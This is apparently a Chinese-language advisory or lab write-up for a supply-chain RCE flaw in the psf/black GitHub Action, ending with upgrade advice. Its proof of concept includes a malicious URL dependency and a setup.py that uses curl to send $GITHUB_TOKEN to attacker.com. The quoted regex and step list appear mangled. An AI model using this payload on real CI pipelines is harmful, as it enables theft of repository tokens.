| 字段 | 详情 |
|---|
| CVE | CVE-2026-31900 |
| CVSS | 8.7(高危) |
| 公告 | GHSA-v53h-f6m7-xcgm |
| 受影响版本 | psf/black GitHub Action < v26.3.0 |
| 类型 | 通过供应链实现 RCE(pull_request 触发) |
use_pyproject: true 选项会从 pyproject.toml 中读取 Black 版本号。由于使用了 re.IGNORECASE,用于校验版本字符串的正则表达式过于宽松,允许空格、@、: 和 / 等字符——而这正是 PEP 508 URL 依赖所需的条件。
BLACK_VERSION_RE = re.compile(r"^black(\[^A-Z0-9.\_-\]+.\*)$", re.IGNORECASE)
pyproject.toml:[project]
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
pull_request 工作流pyproject.toml 读取恶意版本号,绕过正则表达式校验setup.py 执行任意代码setup.py 示例from setuptools import setup
import os
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
setup(name="black", version="26.1.0")
$GITHUB_TOKEN(CI 运行器令牌)升级到 psf/black v26.3.0,或在工作流 YAML 中显式固定版本号,而不是使用 use_pyproject: true。
.github/workflows/black.yml ← 存在漏洞的工作流(use_pyproject: true)
pyproject.toml ← 合法配置(主分支)
app.py ← 被格式化的示例 Python 文件